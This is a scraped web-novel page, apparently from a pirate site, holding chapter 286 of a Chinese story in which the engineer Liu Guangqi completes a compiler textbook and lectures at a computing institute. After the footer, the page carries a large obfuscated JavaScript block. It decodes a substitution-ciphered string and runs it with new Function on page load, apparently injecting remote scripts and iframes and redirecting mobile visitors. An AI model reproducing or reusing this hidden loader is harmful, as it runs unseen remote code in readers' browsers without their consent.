首页
第286章 第286章
返回
关灯 护眼:关 字号:小

第286章 第286章

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    晶片上纵横交错的电路,在晨曦映照下,宛如一片微缩的星河。
    那张始终紧绷的脸上,终于浮起一抹从心底透出的笑意。
    这一刻他明白,
    祖国的集成电路技术,已经将世界甩在身后。
    从今日起,不再是并跑,
    而是断层式的超越,是无可争议的遥遥领先。
    夜深时分,
    静园21号的书房依旧亮着灯。
    白天是属于大规模集成电路的攻坚战场,夜晚降临后,刘光琪的工作并未停歇。
    他正在编写计算机编译程序的教程。
    这对他而言并非难题,
    知识早已融汇于脑海,只需稍加梳理与整合,便可落笔成章。
    真正的困难在于——
    如何将这些超前的理论,转化为适合这个时代科研人员理解与吸收的表述。
    因此,
    刘光琪舍弃了前世那些艰深复杂的专业术语,
    将编程的逻辑丶编译的原理,
    如同拆卸一架精密的仪器般,逐步分解丶细细阐述,写入教材之中。
    再配以亲手绘制的流程示意图与代码范例。
    自然,
    这些工作大多是在归家后的书房里完成的。
    灯光温润地铺满纸面,刘光琪手中的笔尖在稿纸上匀速移动,时而停顿片刻,重新推敲某段程序的逻辑链条。
    这工作谈不上复杂,却极磨耐性。
    一部计算机教程,字数动辄以十万计,再加上那些必须工整绘制丶分毫不能有误的图表,每一页都是心力的沉淀。
    妻子赵蒙菁始终在他身旁。
    每个深夜,她总会悄无声息地递来一杯温热的牛奶,顺便将他散落的纸张理齐。望着日渐堆积成叠的手稿,她轻声问道:
    「还要写多久?」
    「就快好了。」
    刘光琪抬眼笑笑,指向桌案:「只剩最后几章实践示例了,完成后就能送到计算所去。」
    纸上的字迹挺拔清晰。
    手绘的流程图像用尺规量过般准确,连代码的缩进与注释都一丝不苟。
    赵蒙菁虽不懂技术细节,却看得懂丈夫倾注其间的心血。
    为了让这份教材能更快派上用场,他特意融入了针对第三代计算机的编译实例,甚至亲手编写了一套精简的编译器核心代码。
    有了这些,计算所的技术人员拿到手便能直接演练,省去大量自行摸索的工夫。
    日子悄无声息地流过,转眼已是七月。
    书桌上的稿纸从零星几张,累积成足以垫起枕头的厚重一沓。
    当最后一个句点落定,最后一幅流程图的框线稳稳闭合时,刘光琪向后靠进椅背,长长舒出一口气。
    一阵强烈的完成感裹着隐约的倦意,缓缓漫上心头。
    ……次日清早。
    天光已亮,一辆伏尔加轿车驶离静园。
    送赵蒙菁至外交部后,刘光琪坐在后座,手中捧着那叠整理齐整的教材手稿,闭目养神。
    不得不说,编写计算机教材确实是件耗神的事。
    尤其在他本就繁重的日程里。
    好在如今全部完成,总算能暂且松一口气。
    警卫员小庄从后视镜里看了刘光琪一眼——这段时间,领导怕是真累着了。
    「领导,咱们先回所里,还是直接去计算所?」
    「去计算所。」
    ……
    同一时刻,中科院计算所。
    所里的气氛与平日截然不同。
    往常这里只有埋头钻研的寂静,或研究人员压低嗓音的讨论;今日却隐隐浮动着一股焦灼与期盼。
    「听说了吗?刘总工今天可能要过来!」
    「真的?哪儿来的消息?」
    「卢教授办公室传出的电话,早上我去送文件时偶然听到的,像是刘总工那边来的通知!」
    这话如同石子入水,顷刻漾开层层波澜。
    近段时间以来,除非计算所遇到难题向工业研究所请求支援,刘光琪已很少亲自前来。
    毕竟第三代中小规模集成电路计算机的研发早已完成,他的重心自然落在自己的研究所。
    即便计算所众人素来不闻窗外事,也清楚刘光琪的研究所不久前刚拿下院委颁发的五项特等奖。
    工业研究所有多忙,可见一斑。
    事实上,自去年年底刘光琪提及将编写一部编译程序教材交付计算所,全所的研究人员便如同被注入了强心剂。
    那可是刘总工啊——
    仅凭一人之力,让国内计算机技术向前跨越至少十年的那个人。
    他亲自执笔的教材,该是怎样的分量?
    这半年里,卢海教授办公室的门几乎被踏平。
    有人探问教材进度,有人打听消息音讯。
    所有人都心照不宣地期待着。
    ……
    此刻,计算所办公楼内。
    卢海教授办公室外的走廊上,三三两两站着些看似闲聊丶实则竖耳倾听的研究人员。
    他们的目光不时飘向楼梯转角,眼底的渴盼掩藏不住。
    就在这时,一道熟悉的身影自楼梯口缓步而上。
    走廊尽头传来一阵急促的脚步声。
    「刘工来了!」
    不知是谁先喊出的这一句,原本安静的过道骤然活了过来。人们从各个实验室门口探出身,像被磁石吸引般向那个熟悉的身影聚拢。
    「刘工!」
    「您可算来了!」
    此起彼伏的招呼声里透着毫不掩饰的喜悦。这群平日里不苟言笑丶平均年龄已过不惑的技术骨干们,此刻眼里闪着少年人才有的热切光芒。他们迅速围成一道密不透风的人墙,将那个刚出现的身影拥在**。
    刘光琪有些措手不及地应付着四面八方的问候,好不容易才从热情的包围中脱身,走向走廊尽头那扇虚掩的门。
    办公室里,卢海教授正对着第三代计算机的操作面板出神。他眉心拧成川字,显然又陷入了某个技术困境。推门声惊动了他,抬头看见来人的瞬间,眼睛骤然亮了起来。
    「光奇?」他猛地站起身,椅子在地面划出短促的锐响,「你怎么今天过来了?」
    他的目光迅速锁定对方手中那沓厚厚的文稿,声音里压着不易察觉的颤抖。
    「是不是……教材完成了?」
    「刚收尾。」刘光琪将文稿递过去,纸页边缘因反覆摩挲已泛起细密的毛边,「让您久等了。最近实在抽不开身,昨晚才把最后一个案例写完。」
    卢海几乎是双手接过了那沓手稿。
    纸页上的字迹工整得如同铅印,每一行代码的缩进都精确到毫厘,手绘的流程图线条笔直得仿佛用尺规量过。那些密密麻麻的注释条理分明,透着治学之人特有的严谨。
    这哪里是手稿?分明是一部随时可以付梓的专着。
    卢海的手指抚过纸面,忽然毫无徵兆地站起身,声音里迸发出压抑许久的激动:
    「有了这个——我们终于能搭建自己的编译系统了!」
    门外的研究员们被这声惊呼吸引,纷纷聚到门口张望。卢海却浑然未觉,只是紧紧握住刘光琪的手,眼眶微微发红:
    「这大半年,我们翻烂了机器码手册,试了无数种方案,始终跨不过那道坎。」他的手指无意识地收紧,「你这套教材,是雪中送炭啊。」
    刘光琪轻轻拍了拍对方的手背:
    「言重了。里面那些编译器案例都经过反覆验证,应该能直接套用。大家把理论吃透,再对照实操部分上手——」他顿了顿,露出温和的笑意,「总能少走些弯路。」
    卢海重重点头,快速翻到末页。当那套完整的简易编译器代码映入眼帘时,他张了张嘴,最终只反覆说出同一个字:
    「好……好。」
    他抬起头,声音终于平稳下来:「所里这些研究员,现在才算真正有了用武之地。」
    两人的对话被门口窸窣的动静打断。
    不知何时,门外已挤满了人。一颗颗脑袋挨挨挤挤地探进来,像雨后丛生的蘑菇。卢海瞥见这情景,不禁失笑:
    「都杵在那儿干什么?进来吧。」
    话音刚落,人群便涌了进来。打头的是两张熟悉的面孔——程工和付工。性子最急的程工抢先开口,脸上堆着笑:
    「刘工,大伙儿可都盼着您这套教材呢。」
    付工立即接话,眼里闪着求知的光:「我们在编译系统的逻辑跳转模块卡了整整两周,您今天可得给我们点拨点拨。」
    「是啊刘工!」
    「就等您指点迷津了!」
    七嘴八舌的请求在办公室里漾开。对于这群视研究如生命的技术者而言,眼前的机会如同荒漠中的甘泉,没有人愿意错过。
    刘光琪原打算婉拒。
    工业研究所那头堆积的事务尚未处理,可迎上众人灼灼的目光,他到了嘴边的推托之词终究咽了回去。
    「也好。」他轻叹一声,语气里带着几分无奈,「各位找间宽敞些的会议室,我再为大家梳理一遍编译程序的核心架构。」
    「顺带解答各位先前的疑问。」
    「太好了!」
    「刘总工果然爽快!」
    人群顿时欢腾起来,仿佛注入了**。有人疾步冲出走廊,扬声张罗着协调会议室;有人利落地搬来黑板与粉笔;几个年轻的研究员则像传讯的雀鸟,飞奔着去通知未到场的同事。
    「快!刘总工要开讲了!」
    「是关于编译程序和计算机新教材的,错过可就没这机会了!」
    消息如风般卷过,不出片刻,整个计算所便已传遍。
    会议室里很快挤得水泄不通,后来者连落脚的空隙都难寻,过道也站满了人。
    刘光琪立在黑板前,拾起一支粉笔。
    顷刻间,室内鸦雀无声。
    所有视线凝聚在他身上。
    他没有多余的开场,手腕轻动,在黑板上流畅地绘出一幅编译程序的核心流程示意图。
    接着,他以平实的语言逐层剖析。
    「以往我们直接书写机器码,好比用一块块原石垒筑墙基——费力丶缓慢,且易生偏差。」
    「而今推行高级语言,辅以编译系统,又是为何?」
    粉笔轻敲黑板,发出清脆的声响。「这就如同预先制成梁柱与墙板,运至工地直接组装——效率是否更高?精度是否更稳?」
    「是!」底下有人忍不住应和,激起一片低低的笑声。
    刘光琪也微微一笑。
    他一边讲解,一边援引教材中的实例,在黑板上写下一段简洁的高级语言代码,随即演示如何藉由编译程序的层层转换,将其逐步翻译为机器可读的二进位序列。
    随着他的讲解,先前困扰程工丶付工等人的逻辑跳转难题,仿佛被一盏灯逐步照亮,渐渐清晰起来。
    这并非他们领悟不足,实是因国内计算机发展的步伐太快——短短两三年间,竟已跃至第三代水平,技术进程被压缩了逾十载光阴。这样的跨越,自然需要时间消化。
    许多人埋头疾书,笔尖划过纸页的窸窣声连绵不断,如春蚕食叶。
    时光在知识的流淌中悄然逝去。
    不觉间,两个多小时已过。
    直至卢海教授低声提醒研究所来电催促,刘光琪方止住话音。
    他放下粉笔,望向台下。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();